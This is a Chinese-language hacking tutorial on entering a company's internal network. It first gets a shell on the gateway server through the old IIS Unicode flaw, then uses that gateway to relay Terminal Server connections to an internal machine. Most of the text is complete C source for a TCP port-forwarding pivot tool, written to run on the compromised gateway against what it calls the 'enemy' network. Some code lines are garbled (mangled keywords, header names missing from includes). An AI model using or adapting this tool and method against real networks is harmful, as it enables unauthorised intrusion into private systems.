現在很多企業或者公司基本上網方式基本上都是申請一條連接到Internet的線路,寬帶、DDN、ADSL、ISDN等等,然後用一台服務器做網關,服務器兩塊網卡,一塊是連接到Internet,另一塊是連接到內網的HUB或者交換機,然後內網的其他機器就可以通過網關連接到Internet。
也許有些人會這樣想,我在內網之中,我們之間沒有直接的連接,你沒有辦法攻擊我。事實並非如此,在內網的機器同樣可能遭受到來自Internet的攻擊,當然前提是攻擊者已經取得網關服務器的某些權限,呵呵,這是不是廢話?其實,Internet上很多做網關的服務器並未經過嚴格的安全配置,要獲取權限也不是想象中的那麽難。
Ok!廢話就不說了,切入正題。我們的目標是用我們的TermClient[M$終端服務客戶端]連接到敵人內網的TermServer機器。M$的終端服務是一個很好的遠程治理工具,不是嗎?呵呵。沒有做非凡說明的話,文中提到的服務器OS都爲windows 2000。服務器爲Linux或其他的話,原理也差不多,把程序稍微修改就行了。
第一部分:利用TCP socket數據轉發進入沒有防火牆保護的內網
假設敵人網絡拓撲如下圖所示,沒有安裝防火牆或在網關服務器上做TCP/IP限制。
我們的目標是連接上敵人內網的Terminal
Server[192.168.1.3],因爲沒有辦法直接和他建立連接,那麽只有先從它的網關服務器上下手了。假如敵人網關服務器是M$的windows 2k,IIS有Unicode漏洞[現在要找些有漏洞的機器太輕易了,但我只是scripts kid,只會利用現成的漏洞做些簡單的攻擊:(555),那麽我們就得到一個網關的shell了,我們可以在那上面運行我們的程序,雖然權限很低,但也可以做很多事情了。Ok!讓我們來寫一個做TCP socket數據轉發的小程序,讓敵人的網關服務器忠實的爲我[202.1.1.1]和敵人內網的TermServer[192.168.1.3]之間轉發數據。題外話:實際入侵過程是先取得網關服務器的權限,然後用他做跳板,進一步摸清它的內部網絡拓撲結構,再做進一步的入侵,現在敵人的網絡拓撲是我們給他設計的,哈哈。
攻擊流程如下:
<1>在網關服務器202.2.2.2運行我們的程序AgentGateWay,他監聽TCP 3389端口[改成別的,那我們就要相應的修改TermClient了]等待我們去連接。
<2>我們202.1.1.1用TermClient連接到202.2.2.2:3389。
<3>202.2.2.2.接受202.1.1.1的連接,然後再建立一個TCP socket連接到自己內網的TermServer[192.168.1.3]
<4>這樣我們和敵人內網的TermServer之間的數據通道就建好了,接下來網關就忠實的爲我們轉發數據啦。當我們連接到202.2.2.2:3389的時候,其實出來的界面是敵人內網的192.168.1.3,感覺怎麽樣?:)
程序代碼如下:
/*
Module Name:AgentGateWay.c
CopyRight(c) eyas
說明:端口重定向工具,在網關上運行,把端口重定向到內網的IP、PORT,
就可以進入內網了
sock[0]==>sClient sock[1]==>sTarget
*/
#include
#include
#include "TCPDataRedird.c"
#define TargetIP TEXT("192.168.1.3")
#define TargetPort (int)3389
#define ListenPort (int)3389//監聽端口
#pragma comment(lib,"ws2_32.lib")
int main()
{
WSADATA wsd;
SOCKET sListen=INVALID_SOCKET,//本機監聽的socket
sock[2];
strUCt sockaddr_in Local,Client,Target;
int iAddrSize;
HANDLE hThreadC2T=NULL,//C2T=ClientToTarget
hThreadT2C=NULL;//T2C=TargetToClient
DWord dwThreadID;
__try
{
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf("\nWSAStartup() failed:%d",GetLastError());
__leave;
}
sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sListen==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
Local.sin_addr.s_addr=htonl(INADDR_ANY);
Local.sin_family=AF_INET;
Local.sin_port=htons(ListenPort);
Target.sin_family=AF_INET;
Target.sin_addr.s_addr=inet_addr(TargetIP);
Target.sin_port=htons(TargetPort);
if(bind(sListen,(struct sockaddr
*)&Local,sizeof(Local))==SOCKET_ERROR)
{
printf("\nbind() failed:%d",GetLastError());
__leave;
}
if(listen(sListen,1)==SOCKET_ERROR)
{
printf("\nlisten() failed:%d",GetLastError());
__leave;
}
//scoket循環
while(1)
{
printf("\n\n*************Waiting Client Connect
to**************\n\n");
iAddrSize=sizeof(Client);
//get socket sClient
sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize);
if(sock[0]==INVALID_SOCKET)
{
printf("\naccept() failed:%d",GetLastError());
break;
}
printf("\nAccept client==>%s:%d",inet_ntoa(Client.sin_addr),
ntohs(Client.sin_port));
//create socket sTarget
sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[1]==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
//connect to target port
if(connect(sock[1],(struct sockaddr
*)&Target,sizeof(Target))==SOCKET_ERROR)
{
printf("\nconnect() failed:%d",GetLastError());
__leave;
}
printf("\nconnect to target 3389 success!");
//創建兩個線程進行數據轉發
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
//等待兩個線程結束
WaitForSingleObject(hThreadC2T,INFINITE);
WaitForSingleObject(hThreadT2C,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[1]);
closesocket(sock[0]);
printf("\n\n*****************Connection
Close*******************\n\n");
}//end of sock外循環
}//end of try
__finally
{
if(sListen!=INVALID_SOCKET) closesocket(sListen);
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;
}
/******
Module:TCPDataRedird.c
CopyRight(c) eyas
HomePage:www.patching.net
Thanks to shotgun
說明:TCP socket數據轉發,sock[0]==>sClient sock[1]==>sTarget
********/
#define BuffSize 20*1024 //緩沖區大小20k
//此函數負責從Client讀取數據,然後轉發給Target
DWORD WINAPI TCPDataC2T(SOCKET* sock)
{
int iRet,
ret=-1,//select 返回值
iLeft,
idx,
iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize
char szSendToTargetBuff[BuffSize]=,
szRecvFromClientBuff[BuffSize]=;
fd_set fdread,fdwrite;
printf("\n\n*****************Connection
Active*******************\n\n");
while(1)
{
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_SET(sock[0],&fdread);
FD_SET(sock[1],&fdwrite);
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
{
printf("\nselect() failed:%d",GetLastError());
break;
}
//printf("\nselect() return value ret=%d",ret);
if(ret>0)
{
//sClinet可讀,client有數據要發送過來
if(FD_ISSET(sock[0],&fdread))
{
//接收sock[0]發送來的數據
iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);
if(iRet==SOCKET_ERROR)
{
printf("\nrecv() from sock[0] failed:%d",GetLastError());
break;
}
else if(iRet==0)
break;
printf("\nrecv %d bytes from sClinet.",iRet);
//把從client接收到的數據存添加到發往target的緩沖區
memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet);
//刷新發往target的數據緩沖區當前buff大小
iSTTBCS+=iRet;
//清空接收client數據的緩沖區
memset(szRecvFromClientBuff,0,BuffSize);
}
//sTarget可寫,把從client接收到的數據發送到target
if(FD_ISSET(sock[1],&fdwrite))
{
//轉發數據到target的3389端口
iLeft=iSTTBCS;
idx=0;
while(iLeft>0)
{
iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0);
if(iRet==SOCKET_ERROR)
{
printf("\nsend() to target failed:%d",GetLastError());
break;
}
printf("\nsend %d bytes to target",iRet);
iLeft-=iRet;
idx+=iRet;
}
//清空緩沖區
memset(szSendToTargetBuff,0,BuffSize);
//重置發往target的數據緩沖區當前buff大小
iSTTBCS=0;
}
}//end of select ret
Sleep(1);
}//end of data send & recv循環
return 0;
}
//此函數負責從target讀取數據,然後發送給client
DWORD WINAPI TCPDataT2C(SOCKET* sock)
{
int iRet,
ret=-1,//select 返回值
iLeft,
idx,
iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize
char szRecvFromTargetBuff[BuffSize]=,
szSendToClientBuff[BuffSize]=;
fd_set fdread,fdwrite;
while(1)
{
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_SET(sock[0],&fdwrite);
FD_SET(sock[1],&fdread);
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
{
printf("\nselect() failed:%d",GetLastError());
break;
}
if(ret>0)
{
//sTarget可讀,從target接收數據
if(FD_ISSET(sock[1],&fdread))
{
//接收target返回數據
iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0);
if(iRet==SOCKET_ERROR)
{
printf("\nrecv() from target failed:%d",GetLastError());
break;
}
else if(iRet==0)
break;
printf("\nrecv %d bytes from target",iRet);
//把從target接收到的數據添加到發送到client的緩沖區
memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet);
//清空接收target返回數據緩沖區
memset(szRecvFromTargetBuff,0,BuffSize);
//刷新發送到client的數據緩沖區當前大小
iSTCBCS+=iRet;
}
//client可寫,發送target返回數據到client
if(FD_ISSET(sock[0],&fdwrite))
{
//發送target返回數據到client
iLeft=iSTCBCS;
idx=0;
while(iLeft>0)
{
iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0);
if(iRet==SOCKET_ERROR)
{
printf("\nsend() to Client failed:%d",GetLastError());
break;
}
printf("\nsend %d bytes to Client",iRet);
iLeft-=iRet;
idx+=iRet;
}
//清空緩沖區
memset(szSendToClientBuff,0,BuffSize);
iSTCBCS=0;
}
}//end of select ret
Sleep(1);
}//end of while
return 0;
}